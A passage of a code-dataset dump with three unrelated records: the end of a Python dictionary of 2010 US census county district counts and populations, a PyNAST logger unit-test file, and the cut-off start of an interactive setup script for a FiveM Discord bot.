{'distrcit': 4, 'population': 14824},\n 'Kaufman': {'distrcit': 18, 'population': 103350},\n 'Kendall': {'distrcit': 6, 'population': 33410},\n 'Kenedy': {'distrcit': 1, 'population': 416},\n 'Kent': {'distrcit': 1, 'population': 808},\n 'Kerr': {'distrcit': 10, 'population': 49625},\n 'Kimble': {'distrcit': 2, 'population': 4607},\n 'King': {'distrcit': 1, 'population': 286},\n 'Kinney': {'distrcit': 1, 'population': 3598},\n 'Kleberg': {'distrcit': 6, 'population': 32061},\n 'Knox': {'distrcit': 2, 'population': 3719},\n 'La Salle': {'distrcit': 1, 'population': 6886},\n 'Lamar': {'distrcit': 12, 'population': 49793},\n 'Lamb': {'distrcit': 5, 'population': 13977},\n 'Lampasas': {'distrcit': 5, 'population': 19677},\n 'Lavaca': {'distrcit': 6, 'population': 19263},\n 'Lee': {'distrcit': 4, 'population': 16612},\n 'Leon': {'distrcit': 3, 'population': 16801},\n 'Liberty': {'distrcit': 14, 'population': 75643},\n 'Limestone': {'distrcit': 8, 'population': 23384},\n 'Lipscomb': {'distrcit': 2, 'population': 3302},\n 'Live Oak': {'distrcit': 4, 'population': 11531},\n 'Llano': {'distrcit': 6, 'population': 19301},\n 'Loving': {'distrcit': 1, 'population': 82},\n 'Lubbock': {'distrcit': 68, 'population': 278831},\n 'Lynn': {'distrcit': 3, 'population': 5915},\n 'Madison': {'distrcit': 4, 'population': 13664},\n 'Marion': {'distrcit': 4, 'population': 10546},\n 'Martin': {'distrcit': 2, 'population': 4799},\n 'Mason': {'distrcit': 2, 'population': 4012},\n 'Matagorda': {'distrcit': 10, 'population': 36702},\n 'Maverick': {'distrcit': 9, 'population': 54258},\n 'McCulloch': {'distrcit': 3, 'population': 8283},\n 'McLennan': {'distrcit': 51, 'population': 234906},\n 'McMullen': {'distrcit': 1, 'population': 707},\n 'Medina': {'distrcit': 8, 'population': 46006},\n 'Menard': {'distrcit': 1, 'population': 2242},\n 'Midland': {'distrcit': 27, 'population': 136872},\n 'Milam': {'distrcit': 7, 'population': 24757},\n 'Mills': {'distrcit': 2, 'population': 4936},\n 'Mitchell': {'distrcit': 2, 'population': 9403},\n 'Montague': {'distrcit': 6, 'population': 19719},\n 'Montgomery': {'distrcit': 59, 'population': 455746},\n 'Moore': {'distrcit': 4, 'population': 21904},\n 'Morris': {'distrcit': 3, 'population': 12934},\n 'Motley': {'distrcit': 1, 'population': 1210},\n 'Nacogdoches': {'distrcit': 13, 'population': 64524},\n 'Navarro': {'distrcit': 10, 'population': 47735},\n 'Newton': {'distrcit': 4, 'population': 14445},\n 'Nolan': {'distrcit': 5, 'population': 15216},\n 'Nueces': {'distrcit': 81, 'population': 340223},\n 'Ochiltree': {'distrcit': 3, 'population': 10223},\n 'Oldham': {'distrcit': 1, 'population': 2052},\n 'Orange': {'distrcit': 21, 'population': 81837},\n 'Palo Pinto': {'distrcit': 9, 'population': 28111},\n 'Panola': {'distrcit': 6, 'population': 23796},\n 'Parker': {'distrcit': 19, 'population': 116927},\n 'Parmer': {'distrcit': 2, 'population': 10269},\n 'Pecos': {'distrcit': 4, 'population': 15507},\n 'Polk': {'distrcit': 10, 'population': 45413},\n 'Potter': {'distrcit': 34, 'population': 121073},\n 'Presidio': {'distrcit': 2, 'population': 7818},\n 'Rains': {'distrcit': 2, 'population': 10914},\n 'Randall': {'distrcit': 29, 'population': 120725},\n 'Reagan': {'distrcit': 1, 'population': 3367},\n 'Real': {'distrcit': 1, 'population': 3309},\n 'Red River': {'distrcit': 4, 'population': 12860},\n 'Reeves': {'distrcit': 5, 'population': 13783},\n 'Refugio': {'distrcit': 2, 'population': 7383},\n 'Roberts': {'distrcit': 1, 'population': 929},\n 'Robertson': {'distrcit': 5, 'population': 16622},\n 'Rockwall': {'distrcit': 11, 'population': 78337},\n 'Runnels': {'distrcit': 4, 'population': 10501},\n 'Rusk': {'distrcit': 13, 'population': 53330},\n 'Sabine': {'distrcit': 3, 'population': 10834},\n 'San Augustine': {'distrcit': 3, 'population': 8865},\n 'San Jacinto': {'distrcit': 4, 'population': 26384},\n 'San Patricio': {'distrcit': 16, 'population': 64804},\n 'San Saba': {'distrcit': 2, 'population': 6131},\n 'Schleicher': {'distrcit': 1, 'population': 3461},\n 'Scurry': {'distrcit': 4, 'population': 16921},\n 'Shackelford': {'distrcit': 1, 'population': 3378},\n 'Shelby': {'distrcit': 6, 'population': 25448},\n 'Sherman': {'distrcit': 1, 'population': 3034},\n 'Smith': {'distrcit': 41, 'population': 209714},\n 'Somervell': {'distrcit': 2, 'population': 8490},\n 'Starr': {'distrcit': 15, 'population': 60968},\n 'Stephens': {'distrcit': 3, 'population': 9630},\n 'Sterling': {'distrcit': 1, 'population': 1143},\n 'Stonewall': {'distrcit': 1, 'population': 1490},\n 'Sutton': {'distrcit': 1, 'population': 4128},\n 'Swisher': {'distrcit': 3, 'population': 7854},\n 'Tarrant': {'distrcit': 357, 'population': 1809034},\n 'Taylor': {'distrcit': 38, 'population': 131506},\n 'Terrell': {'distrcit': 1, 'population': 984},\n 'Terry': {'distrcit': 3, 'population': 12651},\n 'Throckmorton': {'distrcit': 1, 'population': 1641},\n 'Titus': {'distrcit': 8, 'population': 32334},\n 'Tom Green': {'distrcit': 25, 'population': 110224},\n 'Travis': {'distrcit': 218, 'population': 1024266},\n 'Trinity': {'distrcit': 5, 'population': 14585},\n 'Tyler': {'distrcit': 5, 'population': 21766},\n 'Upshur': {'distrcit': 7, 'population': 39309},\n 'Upton': {'distrcit': 2, 'population': 3355},\n 'Uvalde': {'distrcit': 5, 'population': 26405},\n 'Val Verde': {'distrcit': 10, 'population': 48879},\n 'Van Zandt': {'distrcit': 10, 'population': 52579},\n 'Victoria': {'distrcit': 23, 'population': 86793},\n 'Walker': {'distrcit': 10, 'population': 67861},\n 'Waller': {'distrcit': 6, 'population': 43205},\n 'Ward': {'distrcit': 3, 'population': 10658},\n 'Washington': {'distrcit': 6, 'population': 33718},\n 'Webb': {'distrcit': 61, 'population': 250304},\n 'Wharton': {'distrcit': 11, 'population': 41280},\n 'Wheeler': {'distrcit': 2, 'population': 5410},\n 'Wichita': {'distrcit': 37, 'population': 131500},\n 'Wilbarger': {'distrcit': 4, 'population': 13535},\n 'Willacy': {'distrcit': 6, 'population': 22134},\n 'Williamson': {'distrcit': 89, 'population': 422679},\n 'Wilson': {'distrcit': 11, 'population': 42918},\n 'Winkler': {'distrcit': 3, 'population': 7110},\n 'Wise': {'distrcit': 11, 'population': 59127},\n 'Wood': {'distrcit': 10, 'population': 41964},\n 'Yoakum': {'distrcit': 2, 'population': 7879},\n 'Young': {'distrcit': 4, 'population': 18550},\n 'Zapata': {'distrcit': 3, 'population': 14018},\n 'Zavala': {'distrcit': 4, 'population': 11677}},\n 'UT': {'Beaver': {'distrcit': 2, 'population': 6629},\n 'Box Elder': {'distrcit': 11, 'population': 49975},\n 'Cache': {'distrcit': 26, 'population': 112656},\n 'Carbon': {'distrcit': 5, 'population': 21403},\n 'Daggett': {'distrcit': 1, 'population': 1059},\n 'Davis': {'distrcit': 54, 'population': 306479},\n 'Duchesne': {'distrcit': 3, 'population': 18607},\n 'Emery': {'distrcit': 3, 'population': 10976},\n 'Garfield': {'distrcit': 2, 'population': 5172},\n 'Grand': {'distrcit': 2, 'population': 9225},\n 'Iron': {'distrcit': 8, 'population': 46163},\n 'Juab': {'distrcit': 2, 'population': 10246},\n 'Kane': {'distrcit': 2, 'population': 7125},\n 'Millard': {'distrcit': 3, 'population': 12503},\n 'Morgan': {'distrcit': 2, 'population': 9469},\n 'Piute': {'distrcit': 1, 'population': 1556},\n 'Rich': {'distrcit': 1, 'population': 2264},\n 'Salt Lake': {'distrcit': 212, 'population': 1029655},\n 'San Juan': {'distrcit': 4, 'population': 14746},\n 'Sanpete': {'distrcit': 5, 'population': 27822},\n 'Sevier': {'distrcit': 5, 'population': 20802},\n 'Summit': {'distrcit': 13, 'population': 36324},\n 'Tooele': {'distrcit': 11, 'population': 58218},\n 'Uintah': {'distrcit': 6, 'population': 32588},\n 'Utah': {'distrcit': 128, 'population': 516564},\n 'Wasatch': {'distrcit': 4, 'population': 23530},\n 'Washington': {'distrcit': 21, 'population': 138115},\n 'Wayne': {'distrcit': 1, 'population': 2778},\n 'Weber': {'distrcit': 50, 'population': 231236}},\n 'VA': {'Accomack': {'distrcit': 11, 'population': 33164},\n 'Albemarle': {'distrcit': 22, 'population': 98970},\n 'Alexandria': {'distrcit': 38, 'population': 139966},\n 'Alleghany': {'distrcit': 6, 'population': 16250},\n 'Amelia': {'distrcit': 2, 'population': 12690},\n 'Amherst': {'distrcit': 9, 'population': 32353},\n 'Appomattox': {'distrcit': 3, 'population': 14973},\n 'Arlington': {'distrcit': 59, 'population': 207627},\n 'Augusta': {'distrcit': 13, 'population': 73750},\n 'Bath': {'distrcit': 1, 'population': 4731},\n 'Bedford': {'distrcit': 16, 'population': 68676},\n 'Bedford City': {'distrcit': 1, 'population': 6222},\n 'Bland': {'distrcit': 2, 'population': 6824},\n 'Botetourt': {'distrcit': 8, 'population': 33148},\n 'Bristol': {'distrcit': 4, 'population': 17835},\n 'Brunswick': {'distrcit': 5, 'population': 17434},\n 'Buchanan': {'distrcit': 7, 'population': 24098},\n 'Buckingham': {'distrcit': 4, 'population': 17146},\n 'Buena Vista': {'distrcit': 1, 'population': 6650},\n 'Campbell': {'distrcit': 12, 'population': 54842},\n 'Caroline': {'distrcit': 7, 'population': 28545},\n 'Carroll': {'distrcit': 7, 'population': 30042},\n 'Charles City': {'distrcit': 3, 'population': 7256},\n 'Charlotte': {'distrcit': 3, 'population': 12586},\n 'Charlottesville': {'distrcit': 12, 'population': 43475},\n 'Chesapeake': {'distrcit': 41, 'population': 222209},\n 'Chesterfield': {'distrcit': 71, 'population': 316236},\n 'Clarke': {'distrcit': 3, 'population': 14034},\n 'Colonial Heights': {'distrcit': 5, 'population': 17411},\n 'Covington': {'distrcit': 2, 'population': 5961},\n 'Craig': {'distrcit': 1, 'population': 5190},\n 'Culpeper': {'distrcit': 8, 'population': 46689},\n 'Cumberland': {'distrcit': 2, 'population': 10052},\n 'Danville': {'distrcit': 16, 'population': 43055},\n 'Dickenson': {'distrcit': 4, 'population': 15903},\n 'Dinwiddie': {'distrcit': 7, 'population': 28001},\n 'Emporia': {'distrcit': 2, 'population': 5927},\n 'Essex': {'distrcit': 3, 'population': 11151},\n 'Fairfax': {'distrcit': 258, 'population': 1081726},\n 'Fairfax City': {'distrcit': 5, 'population': 22565},\n 'Falls Church': {'distrcit': 3, 'population': 12332},\n 'Fauquier': {'distrcit': 17, 'population': 65203},\n 'Floyd': {'distrcit': 3, 'population': 15279},\n 'Fluvanna': {'distrcit': 4, 'population': 25691},\n 'Franklin': {'distrcit': 10, 'population': 56159},\n 'Franklin City': {'distrcit': 2, 'population': 8582},\n 'Frederick': {'distrcit': 14, 'population': 78305},\n 'Fredericksburg': {'distrcit': 6, 'population': 24286},\n 'Galax': {'distrcit': 2, 'population': 7042},\n 'Giles': {'distrcit': 4, 'population': 17286},\n 'Gloucester': {'distrcit': 8, 'population': 36858},\n 'Goochland': {'distrcit': 5, 'population': 21717},\n 'Grayson': {'distrcit': 5, 'population': 15533},\n 'Greene': {'distrcit': 3, 'population': 18403},\n 'Greensville': {'distrcit': 3, 'population': 12243},\n 'Halifax': {'distrcit': 9, 'population': 36241},\n 'Hampton': {'distrcit': 34, 'population': 137436},\n 'Hanover': {'distrcit': 23, 'population': 99863},\n 'Harrisonburg': {'distrcit': 11, 'population': 48914},\n 'Henrico': {'distrcit': 64, 'population': 306935},\n 'Henry': {'distrcit': 14, 'population': 54151},\n 'Highland': {'distrcit': 1, 'population': 2321},\n 'Hopewell': {'distrcit': 7, 'population': 22591},\n 'Isle of Wight': {'distrcit': 8, 'population': 35270},\n 'James City': {'distrcit': 11, 'population': 67009},\n 'King George': {'distrcit': 5, 'population': 23584},\n 'King William': {'distrcit': 4, 'population': 15935},\n 'King and Queen': {'distrcit': 2, 'population': 6945},\n 'Lancaster': {'distrcit': 3, 'population': 11391},\n 'Lee': {'distrcit': 6, 'population': 25587},\n 'Lexington': {'distrcit': 1, 'population': 7042},\n 'Loudoun': {'distrcit': 65, 'population': 312311},\n 'Louisa': {'distrcit': 6, 'population': 33153},\n 'Lunenburg': {'distrcit': 3, 'population': 12914},\n 'Lynchburg': {'distrcit': 19, 'population': 75568},\n 'Madison': {'distrcit': 2, 'population': 13308},\n 'Manassas': {'distrcit': 7, 'population': 37821},\n 'Manassas Park': {'distrcit': 2, 'population': 14273},\n 'Martinsville': {'distrcit': 5, 'population': 13821},\n 'Mathews': {'distrcit': 2, 'population': 8978},\n 'Mecklenburg': {'distrcit': 9, 'population': 32727},\n 'Middlesex': {'distrcit': 4, 'population': 10959},\n 'Montgomery': {'distrcit': 16, 'population': 94392},\n 'Nelson': {'distrcit': 3, 'population': 15020},\n 'New Kent': {'distrcit': 3, 'population': 18429},\n 'Newport News': {'distrcit': 44, 'population': 180719},\n 'Norfolk': {'distrcit': 81, 'population': 242803},\n 'Northampton': {'distrcit': 4, 'population': 12389},\n 'Northumberland': {'distrcit': 3, 'population': 12330},\n 'Norton': {'distrcit': 1, 'population': 3958},\n 'Nottoway': {'distrcit': 4, 'population': 15853},\n 'Orange': {'distrcit': 5, 'population': 33481},\n 'Page': {'distrcit': 5, 'population': 24042},\n 'Patrick': {'distrcit': 4, 'population': 18490},\n 'Petersburg': {'distrcit': 11, 'population': 32420},\n 'Pittsylvania': {'distrcit': 16, 'population': 63506},\n 'Poquoson': {'distrcit': 3, 'population': 12150},\n 'Portsmouth': {'distrcit': 31, 'population': 95535},\n 'Powhatan': {'distrcit': 5, 'population': 28046},\n 'Prince Edward': {'distrcit': 5, 'population': 23368},\n 'Prince George': {'distrcit': 7, 'population': 35725},\n 'Prince William': {'distrcit': 83, 'population': 402002},\n 'Pulaski': {'distrcit': 10, 'population': 34872},\n 'Radford': {'distrcit': 3, 'population': 16408},\n 'Rappahannock': {'distrcit': 2, 'population': 7373},\n 'Richmond': {'distrcit': 2, 'population': 9254},\n 'Richmond City': {'distrcit': 66, 'population': 204214},\n 'Roanoke': {'distrcit': 18, 'population': 92376},\n 'Roanoke City': {'distrcit': 23, 'population': 97032},\n 'Rockbridge': {'distrcit': 4, 'population': 22307},\n 'Rockingham': {'distrcit': 19, 'population': 76314},\n 'Russell': {'distrcit': 7, 'population': 28897},\n 'Salem': {'distrcit': 5, 'population': 24802},\n 'Scott': {'distrcit': 6, 'population': 23177},\n 'Shenandoah': {'distrcit': 9, 'population': 41993},\n 'Smyth': {'distrcit': 9, 'population': 32208},\n 'Southampton': {'distrcit': 5, 'population': 18570},\n 'Spotsylvania': {'distrcit': 30, 'population': 122397},\n 'Stafford': {'distrcit': 27, 'population': 128961},\n 'Staunton': {'distrcit': 6, 'population': 23746},\n 'Suffolk': {'distrcit': 28, 'population': 84585},\n 'Surry': {'distrcit': 2, 'population': 7058},\n 'Sussex': {'distrcit': 5, 'population': 12087},\n 'Tazewell': {'distrcit': 11, 'population': 45078},\n 'Virginia Beach': {'distrcit': 100, 'population': 437994},\n 'Warren': {'distrcit': 8, 'population': 37575},\n 'Washington': {'distrcit': 13, 'population': 54876},\n 'Waynesboro': {'distrcit': 5, 'population': 21006},\n 'Westmoreland': {'distrcit': 4, 'population': 17454},\n 'Williamsburg': {'distrcit': 3, 'population': 14068},\n 'Winchester': {'distrcit': 5, 'population': 26203},\n 'Wise': {'distrcit': 11, 'population': 41452},\n 'Wythe': {'distrcit': 6, 'population': 29235},\n 'York': {'distrcit': 14, 'population': 65464}},\n 'VT': {'Addison': {'distrcit': 10, 'population': 36821},\n 'Bennington': {'distrcit': 12, 'population': 37125},\n 'Caledonia': {'distrcit': 10, 'population': 31227},\n 'Chittenden': {'distrcit': 35, 'population': 156545},\n 'Essex': {'distrcit': 3, 'population': 6306},\n 'Franklin': {'distrcit': 10, 'population': 47746},\n 'Grand Isle': {'distrcit': 2, 'population': 6970},\n 'Lamoille': {'distrcit': 7, 'population': 24475},\n 'Orange': {'distrcit': 10, 'population': 28936},\n 'Orleans': {'distrcit': 10, 'population': 27231},\n 'Rutland': {'distrcit': 20, 'population': 61642},\n 'Washington': {'distrcit': 19, 'population': 59534},\n 'Windham': {'distrcit': 18, 'population': 44513},\n 'Windsor': {'distrcit': 18, 'population': 56670}},\n 'WA': {'Adams': {'distrcit': 5, 'population': 18728},\n 'Asotin': {'distrcit': 6, 'population': 21623},\n 'Benton': {'distrcit': 37, 'population': 175177},\n 'Chelan': {'distrcit': 14, 'population': 72453},\n 'Clallam': {'distrcit': 22, 'population': 71404},\n 'Clark': {'distrcit': 104, 'population': 425363},\n 'Columbia': {'distrcit': 1, 'population': 4078},\n 'Cowlitz': {'distrcit': 24, 'population': 102410},\n 'Douglas': {'distrcit': 8, 'population': 38431},\n 'Ferry': {'distrcit': 3, 'population': 7551},\n 'Franklin': {'distrcit': 13, 'population': 78163},\n 'Garfield': {'distrcit': 1, 'population': 2266},\n 'Grant': {'distrcit': 16, 'population': 89120},\n 'Grays Harbor': {'distrcit': 17, 'population': 72797},\n 'Island': {'distrcit': 22, 'population': 78506},\n 'Jefferson': {'distrcit': 7, 'population': 29872},\n 'King': {'distrcit': 397, 'population': 1931249},\n 'Kitsap': {'distrcit': 55, 'population': 251133},\n 'Kittitas': {'distrcit': 8, 'population': 40915},\n 'Klickitat': {'distrcit': 3, 'population': 20318},\n 'Lewis': {'distrcit': 20, 'population': 75455},\n 'Lincoln': {'distrcit': 4, 'population': 10570},\n 'Mason': {'distrcit': 14, 'population': 60699},\n 'Okanogan': {'distrcit': 10, 'population': 41120},\n 'Pacific': {'distrcit': 8, 'population': 20920},\n 'Pend Oreille': {'distrcit': 5, 'population': 13001},\n 'Pierce': {'distrcit': 172, 'population': 795225},\n 'San Juan': {'distrcit': 5, 'population': 15769},\n 'Skagit': {'distrcit': 30, 'population': 116901},\n 'Skamania': {'distrcit': 5, 'population': 11066},\n 'Snohomish': {'distrcit': 151, 'population': 713335},\n 'Spokane': {'distrcit': 105, 'population': 471221},\n 'Stevens': {'distrcit': 12, 'population': 43531},\n 'Thurston': {'distrcit': 49, 'population': 252264},\n 'Wahkiakum': {'distrcit': 1, 'population': 3978},\n 'Walla Walla': {'distrcit': 12, 'population': 58781},\n 'Whatcom': {'distrcit': 34, 'population': 201140},\n 'Whitman': {'distrcit': 10, 'population': 44776},\n 'Yakima': {'distrcit': 45, 'population': 243231}},\n 'WI': {'Adams': {'distrcit': 7, 'population': 20875},\n 'Ashland': {'distrcit': 7, 'population': 16157},\n 'Barron': {'distrcit': 10, 'population': 45870},\n 'Bayfield': {'distrcit': 5, 'population': 15014},\n 'Brown': {'distrcit': 54, 'population': 248007},\n 'Buffalo': {'distrcit': 5, 'population': 13587},\n 'Burnett': {'distrcit': 6, 'population': 15457},\n 'Calumet': {'distrcit': 11, 'population': 48971},\n 'Chippewa': {'distrcit': 11, 'population': 62415},\n 'Clark': {'distrcit': 8, 'population': 34690},\n 'Columbia': {'distrcit': 12, 'population': 56833},\n 'Crawford': {'distrcit': 6, 'population': 16644},\n 'Dane': {'distrcit': 107, 'population': 488073},\n 'Dodge': {'distrcit': 20, 'population': 88759},\n 'Door': {'distrcit': 9, 'population': 27785},\n 'Douglas': {'distrcit': 12, 'population': 44159},\n 'Dunn': {'distrcit': 8, 'population': 43857},\n 'Eau Claire': {'distrcit': 20, 'population': 98736},\n 'Florence': {'distrcit': 2, 'population': 4423},\n 'Fond du Lac': {'distrcit': 20, 'population': 101633},\n 'Forest': {'distrcit': 4, 'population': 9304},\n 'Grant': {'distrcit': 12, 'population': 51208},\n 'Green': {'distrcit': 8, 'population': 36842},\n 'Green Lake': {'distrcit': 6, 'population': 19051},\n 'Iowa': {'distrcit': 6, 'population': 23687},\n 'Iron': {'distrcit': 3, 'population': 5916},\n 'Jackson': {'distrcit': 5, 'population': 20449},\n 'Jefferson': {'distrcit': 20, 'population': 83686},\n 'Juneau': {'distrcit': 7, 'population': 26664},\n 'Kenosha': {'distrcit': 35, 'population': 166426},\n 'Kewaunee': {'distrcit': 4, 'population': 20574},\n 'La Crosse': {'distrcit': 25, 'population': 114638},\n 'Lafayette': {'distrcit': 5, 'population': 16836},\n 'Langlade': {'distrcit': 6, 'population': 19977},\n 'Lincoln': {'distrcit': 10, 'population': 28743},\n 'Manitowoc': {'distrcit': 19, 'population': 81442},\n 'Marathon': {'distrcit': 27, 'population': 134063},\n 'Marinette': {'distrcit': 12, 'population': 41749},\n 'Marquette': {'distrcit': 5, 'population': 15404},\n 'Menominee': {'distrcit': 2, 'population': 4232},\n 'Milwaukee': {'distrcit': 297, 'population': 947735},\n 'Monroe': {'distrcit': 9, 'population': 44673},\n 'Oconto': {'distrcit': 10, 'population': 37660},\n 'Oneida': {'distrcit': 14, 'population': 35998},\n 'Outagamie': {'distrcit': 40, 'population': 176695},\n 'Ozaukee': {'distrcit': 18, 'population': 86395},\n 'Pepin': {'distrcit': 2, 'population': 7469},\n 'Pierce': {'distrcit': 8, 'population': 41019},\n 'Polk': {'distrcit': 10, 'population': 44205},\n 'Portage': {'distrcit': 14, 'population': 70019},\n 'Price': {'distrcit': 6, 'population': 14159},\n 'Racine': {'distrcit': 44, 'population': 195408},\n 'Richland': {'distrcit': 5, 'population': 18021},\n 'Rock': {'distrcit': 38, 'population': 160331},\n 'Rusk': {'distrcit': 5, 'population': 14755},\n 'Sauk': {'distrcit': 13, 'population': 61976},\n 'Sawyer': {'distrcit': 6, 'population': 16557},\n 'Shawano': {'distrcit': 11, 'population': 41949},\n 'Sheboygan': {'distrcit': 26, 'population': 115507},\n 'St. Croix': {'distrcit': 14, 'population': 84345},\n 'Taylor': {'distrcit': 6, 'population': 20689},\n 'Trempealeau': {'distrcit': 8, 'population': 28816},\n 'Vernon': {'distrcit': 7, 'population': 29773},\n 'Vilas': {'distrcit': 5, 'population': 21430},\n 'Walworth': {'distrcit': 22, 'population': 102228},\n 'Washburn': {'distrcit': 5, 'population': 15911},\n 'Washington': {'distrcit': 28, 'population': 131887},\n 'Waukesha': {'distrcit': 86, 'population': 389891},\n 'Waupaca': {'distrcit': 12, 'population': 52410},\n 'Waushara': {'distrcit': 7, 'population': 24496},\n 'Winnebago': {'distrcit': 41, 'population': 166994},\n 'Wood': {'distrcit': 17, 'population': 74749}},\n 'WV': {'Barbour': {'distrcit': 4, 'population': 16589},\n 'Berkeley': {'distrcit': 14, 'population': 104169},\n 'Boone': {'distrcit': 8, 'population': 24629},\n 'Braxton': {'distrcit': 3, 'population': 14523},\n 'Brooke': {'distrcit': 6, 'population': 24069},\n 'Cabell': {'distrcit': 29, 'population': 96319},\n 'Calhoun': {'distrcit': 2, 'population': 7627},\n 'Clay': {'distrcit': 3, 'population': 9386},\n 'Doddridge': {'distrcit': 2, 'population': 8202},\n 'Fayette': {'distrcit': 12, 'population': 46039},\n 'Gilmer': {'distrcit': 2, 'population': 8693},\n 'Grant': {'distrcit': 3, 'population': 11937},\n 'Greenbrier': {'distrcit': 7, 'population': 35480},\n 'Hampshire': {'distrcit': 5, 'population': 23964},\n 'Hancock': {'distrcit': 8, 'population': 30676},\n 'Hardy': {'distrcit': 3, 'population': 14025},\n 'Harrison': {'distrcit': 22, 'population': 69099},\n 'Jackson': {'distrcit': 6, 'population': 29211},\n 'Jefferson': {'distrcit': 15, 'population': 53498},\n 'Kanawha': {'distrcit': 53, 'population': 193063},\n 'Lewis': {'distrcit': 5, 'population': 16372},\n 'Lincoln': {'distrcit': 5, 'population': 21720},\n 'Logan': {'distrcit': 9, 'population': 36743},\n 'Marion': {'distrcit': 18, 'population': 56418},\n 'Marshall': {'distrcit': 9, 'population': 33107},\n 'Mason': {'distrcit': 6, 'population': 27324},\n 'McDowell': {'distrcit': 8, 'population': 22113},\n 'Mercer': {'distrcit': 16, 'population': 62264},\n 'Mineral': {'distrcit': 7, 'population': 28212},\n 'Mingo': {'distrcit': 7, 'population': 26839},\n 'Monongalia': {'distrcit': 24, 'population': 96189},\n 'Monroe': {'distrcit': 3, 'population': 13502},\n 'Morgan': {'distrcit': 4, 'population': 17541},\n 'Nicholas': {'distrcit': 7, 'population': 26233},\n 'Ohio': {'distrcit': 18, 'population': 44443},\n 'Pendleton': {'distrcit': 3, 'population': 7695},\n 'Pleasants': {'distrcit': 2, 'population': 7605},\n 'Pocahontas': {'distrcit': 4, 'population': 8719},\n 'Preston': {'distrcit': 8, 'population': 33520},\n 'Putnam': {'distrcit': 10, 'population': 55486},\n 'Raleigh': {'distrcit': 17, 'population': 78859},\n 'Randolph': {'distrcit': 7, 'population': 29405},\n 'Ritchie': {'distrcit': 3, 'population': 10449},\n 'Roane': {'distrcit': 4, 'population': 14926},\n 'Summers': {'distrcit': 4, 'population': 13927},\n 'Taylor': {'distrcit': 4, 'population': 16895},\n 'Tucker': {'distrcit': 3, 'population': 7141},\n 'Tyler': {'distrcit': 3, 'population': 9208},\n 'Upshur': {'distrcit': 6, 'population': 24254},\n 'Wayne': {'distrcit': 11, 'population': 42481},\n 'Webster': {'distrcit': 3, 'population': 9154},\n 'Wetzel': {'distrcit': 5, 'population': 16583},\n 'Wirt': {'distrcit': 2, 'population': 5717},\n 'Wood': {'distrcit': 26, 'population': 86956},\n 'Wyoming': {'distrcit': 6, 'population': 23796}},\n 'WY': {'Albany': {'distrcit': 10, 'population': 36299},\n 'Big Horn': {'distrcit': 3, 'population': 11668},\n 'Campbell': {'distrcit': 7, 'population': 46133},\n 'Carbon': {'distrcit': 5, 'population': 15885},\n 'Converse': {'distrcit': 4, 'population': 13833},\n 'Crook': {'distrcit': 2, 'population': 7083},\n 'Fremont': {'distrcit': 10, 'population': 40123},\n 'Goshen': {'distrcit': 4, 'population': 13249},\n 'Hot Springs': {'distrcit': 2, 'population': 4812},\n 'Johnson': {'distrcit': 2, 'population': 8569},\n 'Laramie': {'distrcit': 21, 'population': 91738},\n 'Lincoln': {'distrcit': 4, 'population': 18106},\n 'Natrona': {'distrcit': 18, 'population': 75450},\n 'Niobrara': {'distrcit': 1, 'population': 2484},\n 'Park': {'distrcit': 5, 'population': 28205},\n 'Platte': {'distrcit': 2, 'population': 8667},\n 'Sheridan': {'distrcit': 6, 'population': 29116},\n 'Sublette': {'distrcit': 2, 'population': 10247},\n 'Sweetwater': {'distrcit': 12, 'population': 43806},\n 'Teton': {'distrcit': 4, 'population': 21294},\n 'Uinta': {'distrcit': 3, 'population': 21118},\n 'Washakie': {'distrcit': 3, 'population': 8533},\n 'Weston': {'distrcit': 2, 'population': 7208}}}","sub_path":"Python编程快速上手/第十二章/census2010.py","file_name":"census2010.py","file_ext":"py","file_size_in_byte":180532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"544523995","text":"#!/usr/bin/env python\n\nfrom __future__ import division\nfrom os import remove\nfrom cogent import LoadSeqs, DNA\nfrom cogent.util.unit_test import TestCase, main\nfrom cogent.app.util import get_tmp_filename\nfrom cogent.parse.fasta import MinimalFastaParser\nfrom pynast.logger import NastLogger\n\n__author__ = \"Kyle Bittinger\"\n__copyright__ = \"Copyright 2010, The PyNAST Project\"\n__credits__ = [\"Greg Caporaso\", \"Kyle Bittinger\"]\n__license__ = \"GPL\"\n__version__ = \"1.2-dev\"\n__maintainer__ = \"Kyle Bittinger\"\n__email__ = \"kylebittinger@gmail.com\"\n__status__ = \"Development\"\n\nclass NastLoggerTests(TestCase):\n \"\"\"Tests of the PyNAST logging class\"\"\"\n\n def setUp(self):\n self.filename = get_tmp_filename(\n prefix='NastLoggerTest',\n suffix='.log',\n )\n\n def tearDown(self):\n try:\n remove(self.filename)\n except OSError:\n pass\n\n def test_init(self):\n \"\"\"NastLogger.__init__ should store log filename in Filename attribute\"\"\"\n null_logger = NastLogger()\n self.assertEqual(null_logger.Filename, None)\n\n file_logger = NastLogger(self.filename)\n self.assertEqual(file_logger.Filename, self.filename)\n\n def test_header(self):\n \"\"\"NastLogger.__init__ should write correct header to log file\"\"\"\n logger = NastLogger(self.filename)\n\n file = open(self.filename, 'r')\n header = file.readline()\n file.close()\n\n exp_header = (\n 'candidate sequence ID\\tcandidate nucleotide count\\terrors\\t'\n 'template ID\\tBLAST percent identity to template\\t'\n 'candidate nucleotide count post-NAST\\n'\n )\n self.assertEqual(header, exp_header)\n\n def test_record(self):\n \"\"\"NastLogger.__init__ should record tab-separated values to log file\"\"\"\n\n logger = NastLogger(self.filename)\n logger.record('hello', 'world')\n\n file = open(self.filename, 'r')\n obs_header = file.readline()\n obs_message = file.readline()\n file.close()\n\n self.assertEqual(obs_message, 'hello\\tworld\\n')\n \n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"tests/test_logger.py","file_name":"test_logger.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"17585170","text":"import discord \nfrom discord.ext import commands\nimport os \n\nos.system(\"cls\")\n\n\nprint(\"\\u001b[36;1mWelcome to a FiveM bot, I will take you through a few steps on how to set it up\\nThis bot was developed and created by Aram Brunton!\\u001b[0m\\n\")\n\nbotToken = input(\"\\u001b[32;1mPlease enter your bot token (Copy the token from https://discordapp.com/developers/applications and right click in this terminal): \\u001b[0m\")\nprint(\"\\u001b[32;1mBot token entered: \\u001b[0m\"+botToken+\"\\n\")\n\nbotPrefix = input(\"\\u001b[32;1mPlease enter a prefix for your bot: \\u001b[0m\")\nprint(\"\\u001b[32;1mPrefix set to \\u001b[0m\"+botPrefix+\"\\n\")\n\nserverIp = input(\"\\u001b[32;1mPlease enter your server IP and port: 